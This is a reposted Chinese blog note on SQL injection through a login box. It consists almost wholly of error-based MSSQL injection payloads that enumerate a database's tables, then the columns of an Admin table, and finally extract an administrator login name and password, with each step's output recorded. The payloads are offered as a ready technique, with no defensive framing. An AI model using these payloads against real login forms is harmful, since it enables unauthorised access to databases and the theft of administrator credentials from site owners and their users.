登录框注入笔记

2019独角兽企业重金招聘Python工程师标准>>>

1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U')) and '1'='1

首先：select top 1 name form sysobjects where xtype='U'用来查数据库中的用户表

说明存在sysdiagrams 这个表

1' and 1=(select top 1 name from sysobjects where xtype='U') and '1' ='1

sysdiagrams

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams')) and '1' ='1

表：Commonness

继续：1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness')) and '1' ='1

表：Bargain

go on ：1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain')) and '1' ='1

表：ValidationReport

继续：1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport')) and '1' ='1

表：Examine

继续：1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine')) and '1' ='1

表：OpinionBook

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook')) and '1' ='1

表：ProjectInformation

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation')) and '1' ='1

表：Company

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company')) and '1' ='1

表：yinfu

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company','yinfu')) and '1' ='1

表：NewsType

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company','yinfu','NewsType')) and '1' ='1

表：AdminType

1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company','yinfu','NewsType','AdminType')) and '1' ='1

表：Admin

==========================================================================================================

1' and 1=convert(int,(select top 1 col_name(object_id ('Admin'),1) from Admin)) and '1'='1

1'and 1= (select top 1 col_name(object_id('admin'),1) from Admin) and '1'='1

列：ID
1'and 1= (select top 1 col_name(object_id('admin'),2) from Admin) and '1'='1

列：LoginName

1'and 1= (select top 1 col_name(object_id('admin'),3) from Admin) and '1'='1

列：Passward

==========================================================================================================
1' and 1=convert(int,(select top 1 LoginName from Admin)) and '1'='1

admin

1'and 1=(select top 1 Passward from Admin) and '1'='1

admin123

==========================================================================================================

 

 

 

原文链接： http://blog.csdn.net/mypc2010/article/details/8209002

转载于:https://my.oschina.net/changpinghu/blog/92481